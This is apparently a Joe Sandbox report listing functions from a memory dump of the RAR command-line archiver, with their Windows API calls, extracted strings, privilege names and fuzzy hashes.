Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: 1560bc33769a8c3f99be081cfd5bba59f12ada77a236357d1bd7ba17694bf0a0
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 71D05E75E3BA02C1FB05CF40ED44B3012617F547A9F4906F6C81D89554CFAC246E9300

Function 00007FF6AA1A4538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1A4549

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: 4ecfab74eefad07a441e5cebed15ed149783ea7a1f92d439a2a062f7333b0fc1
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: 63C08C25F02881C0C645532988450281111AF44735F900372C13E452E0CE1848AB0300

Function 00007FF6AA1A1930 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6AA1A1958

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: f61ee5e72e45c4c67ec42f8ff9919b4f3211e0779a65c3b3ef1040c100f0c26c
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: 05F0FF32A0A242E8FB268B20E4403782252DB00BB8F589372D63D810D8DE28CC9BC350

Non-executed Functions

Function 00007FF6AA1A67E0 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 441COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1C49F4: LoadStringW.USER32 ref: 00007FF6AA1C4A7B
Part of subcall function 00007FF6AA1C49F4: LoadStringW.USER32 ref: 00007FF6AA1C4A94

Part of subcall function 00007FF6AA198444: fflush.LIBCMT ref: 00007FF6AA198477

Part of subcall function 00007FF6AA1CB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6AA19CBED,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1CB730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1A6CB0

Strings

%s%s, xrefs: 00007FF6AA1A6A17
%s%s, xrefs: 00007FF6AA1A6AED
%s: , xrefs: 00007FF6AA1A697B
%s%s, xrefs: 00007FF6AA1A6AB2
%s%s, xrefs: 00007FF6AA1A69EB
----------- --------- ---------- ----- ----, xrefs: 00007FF6AA1A6DB0
RAR 4, xrefs: 00007FF6AA1A6987
EOF, xrefs: 00007FF6AA1A6CD1
RAR 5, xrefs: 00007FF6AA1A698E
%s%s, xrefs: 00007FF6AA1A6B24
%12ls: %ls, xrefs: 00007FF6AA1A6D01
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF6AA1A6DA2
V, xrefs: 00007FF6AA1A6D62
%12ls: %ls, xrefs: 00007FF6AA1A6CD8
%s%s, xrefs: 00007FF6AA1A69C0
%s%s, xrefs: 00007FF6AA1A6A74
%.10ls %u, xrefs: 00007FF6AA1A6C9D
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF6AA1A6F85
RAR 1.4, xrefs: 00007FF6AA1A69A0
%21ls %18s %lu, xrefs: 00007FF6AA1A6FA4
%21ls %-16ls %u, xrefs: 00007FF6AA1A6DCD
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF6AA1A6D6A
%s: %s, xrefs: 00007FF6AA1A6962

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-4283793440
Opcode ID: 1809d281e11e57368e542bccbc1a8fe66159deefba3bd9b4622a4842c6b2ef32
Instruction ID: 747caf77c1173154ef313557ca55978d06f721ff2cf49c7d7ff60d438773cc39
Opcode Fuzzy Hash: 1809d281e11e57368e542bccbc1a8fe66159deefba3bd9b4622a4842c6b2ef32
Instruction Fuzzy Hash: 0C228222A0E6C2E5EB22DB34D8501FD67A2FF45344F8440B7D65D8769ADE2CEE4AC740

Function 00007FF6AA19D2C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 313fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6AA19D4A6
CloseHandle.KERNEL32 ref: 00007FF6AA19D4B9

Part of subcall function 00007FF6AA19EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6AA19EE47), ref: 00007FF6AA19EF73
Part of subcall function 00007FF6AA19EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6AA19EE47), ref: 00007FF6AA19EF84
Part of subcall function 00007FF6AA19EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6AA19EFA7
Part of subcall function 00007FF6AA19EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6AA19EFCA
Part of subcall function 00007FF6AA19EF50: GetLastError.KERNEL32 ref: 00007FF6AA19EFD4
Part of subcall function 00007FF6AA19EF50: CloseHandle.KERNEL32 ref: 00007FF6AA19EFE7

CreateDirectoryW.KERNEL32 ref: 00007FF6AA19D4C6
CreateFileW.KERNEL32 ref: 00007FF6AA19D64A
DeviceIoControl.KERNEL32 ref: 00007FF6AA19D68B
CloseHandle.KERNEL32 ref: 00007FF6AA19D69A
GetLastError.KERNEL32 ref: 00007FF6AA19D6AD
RemoveDirectoryW.KERNEL32 ref: 00007FF6AA19D6FA
DeleteFileW.KERNEL32 ref: 00007FF6AA19D705

Part of subcall function 00007FF6AA1A2310: FlushFileBuffers.KERNEL32 ref: 00007FF6AA1A233E
Part of subcall function 00007FF6AA1A2310: SetFileTime.KERNEL32 ref: 00007FF6AA1A23DB

Part of subcall function 00007FF6AA1A1930: CloseHandle.KERNELBASE ref: 00007FF6AA1A1958

Part of subcall function 00007FF6AA1A39E0: SetFileAttributesW.KERNEL32(?,00007FF6AA1A34EE,?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1A3A0F
Part of subcall function 00007FF6AA1A39E0: SetFileAttributesW.KERNEL32(?,00007FF6AA1A34EE,?,?,?,?,00000800,00000000,00000000,00007FF6AA1B38CB,?,?,?,00007FF6AA1B41EC), ref: 00007FF6AA1A3A3C

Strings

SeRestorePrivilege, xrefs: 00007FF6AA19D31C
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6AA19D328
\??\, xrefs: 00007FF6AA19D390
UNC\, xrefs: 00007FF6AA19D3BD

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: File$CloseHandle$Create$AttributesDirectoryErrorLastProcessToken$AdjustBuffersControlCurrentDeleteDeviceFlushLookupOpenPrivilegePrivilegesRemoveTimeValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2750113785-3508440684
Opcode ID: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction ID: f0a77f590d7bdc6e3d8576e745450229496ca1770cbaff4443317a007488d377
Opcode Fuzzy Hash: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction Fuzzy Hash: B9D1CF26A0A686E6EB629F20D9406FD27A0FF40798F404177DA9D876D9DF3CD90BC700

Function 00007FF6AA1CAE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CAEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CAF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CAF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CAF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CAFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CB23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CB244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6AA182E4C), ref: 00007FF6AA1CB287

Strings

MAPIResolveName, xrefs: 00007FF6AA1CAEF7
MAPI32.DLL, xrefs: 00007FF6AA1CAEC2
MAPISendMail, xrefs: 00007FF6AA1CAEDF
SMTP:, xrefs: 00007FF6AA1CB069
MAPIFreeBuffer, xrefs: 00007FF6AA1CAF0F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction ID: ddae254502067edb3ae5358c8eb2397253bea820ca3ca6f09f8db10ffa4e3121
Opcode Fuzzy Hash: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction Fuzzy Hash: 6AC18036A0AB81E5EB62DF21E8502BD27A1FF44B94F444076DA4E87795DF3CE946C700

Function 00007FF6AA1CB57C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6AA1CB593
OpenProcessToken.ADVAPI32 ref: 00007FF6AA1CB5A6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6AA1CB5BE
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6AA1CB5EF
ExitWindowsEx.USER32 ref: 00007FF6AA1CB602
ExitWindowsEx.USER32 ref: 00007FF6AA1CB637

Strings

SeShutdownPrivilege, xrefs: 00007FF6AA1CB5B7

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExitProcessTokenWindows$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3729174658-3733053543
Opcode ID: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction ID: c3d4aee32c15913bd71dae828e08157b52ee13b1954f085a104efab39b897a82
Opcode Fuzzy Hash: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction Fuzzy Hash: F521AE32A1A682D2F791DB21E89537E63A1EF84744F90507BEA0E86558DF3DEC4A8700

Function 00007FF6AA19E21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF6AA182014), ref: 00007FF6AA19E298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF6AA182014), ref: 00007FF6AA19E2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF6AA182014), ref: 00007FF6AA19E2F7

Part of subcall function 00007FF6AA19EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6AA19EE47), ref: 00007FF6AA19EF73
Part of subcall function 00007FF6AA19EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6AA19EE47), ref: 00007FF6AA19EF84
Part of subcall function 00007FF6AA19EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6AA19EFA7
Part of subcall function 00007FF6AA19EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6AA19EFCA
Part of subcall function 00007FF6AA19EF50: GetLastError.KERNEL32 ref: 00007FF6AA19EFD4
Part of subcall function 00007FF6AA19EF50: CloseHandle.KERNEL32 ref: 00007FF6AA19EFE7

DeviceIoControl.KERNEL32 ref: 00007FF6AA19E357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF6AA182014), ref: 00007FF6AA19E362

Strings

SeBackupPrivilege, xrefs: 00007FF6AA19E27E

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: 27cb79afddc4925e40a3f967b5b56ba73ebb213a2d5c60e910e106165e97e8a0
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: A961D032A09681E6EB268B21E5406FD33A0FB44794F404277DB6E87AD4DF3CE956C700

Function 00007FF6AA1BAF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6AA1BAFA0

Part of subcall function 00007FF6AA1CB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6AA19CBED,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1CB730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1BB185
new.LIBCMT ref: 00007FF6AA1BB18F

Strings

%ls%0*u.rev, xrefs: 00007FF6AA1BB170
, xrefs: 00007FF6AA1BB2B6

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: 6228c723871ebb1e8296c1b1a0c22d4504545d7a69b0f2f459d85dbf46e0c821
Instruction ID: ed1d643cfc803812b5597adba8741ce439a356dbd86c186a1ae796dfeb9cd276
Opcode Fuzzy Hash: 6228c723871ebb1e8296c1b1a0c22d4504545d7a69b0f2f459d85dbf46e0c821
Instruction Fuzzy Hash: 8902F532B0A682D6EB21DF25E4842AD77A5FB88784F410177DE5D87B96DE3CE846C700

Function 00007FF6AA1849B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6AA184BD8

Part of subcall function 00007FF6AA1CB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6AA19CBED,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1CB730

Part of subcall function 00007FF6AA1A1E80: CreateFileW.KERNELBASE ref: 00007FF6AA1A1F4A
Part of subcall function 00007FF6AA1A1E80: GetLastError.KERNEL32 ref: 00007FF6AA1A1F59
Part of subcall function 00007FF6AA1A1E80: CreateFileW.KERNELBASE ref: 00007FF6AA1A1F99
Part of subcall function 00007FF6AA1A1E80: GetLastError.KERNEL32 ref: 00007FF6AA1A1FA2
Part of subcall function 00007FF6AA1A1E80: SetFileTime.KERNEL32 ref: 00007FF6AA1A1FF1

Strings

%12s %s, xrefs: 00007FF6AA184E8E
%12s %s, xrefs: 00007FF6AA184E58
, xrefs: 00007FF6AA184F01
%s, xrefs: 00007FF6AA184EAF

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: a57dd3f3df4f1046b3036346f8c71d84d6573ec975a401307e0b985712f7f48f
Instruction ID: 5992452ca4167017ed0fc16ba0828dbb52f1a375e38e4233027c57211b2ce6ab
Opcode Fuzzy Hash: a57dd3f3df4f1046b3036346f8c71d84d6573ec975a401307e0b985712f7f48f
Instruction Fuzzy Hash: 44F1C122B0AA82E6EB62DB22D4502BD67A1FB48BC4F444477DA4D87785DF3CED56C700

Function 00007FF6AA1E4C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6AA1E4C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6AA1E4CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF6AA1E4CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF6AA1E4D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6AA1E4D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6AA1E4D2A

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
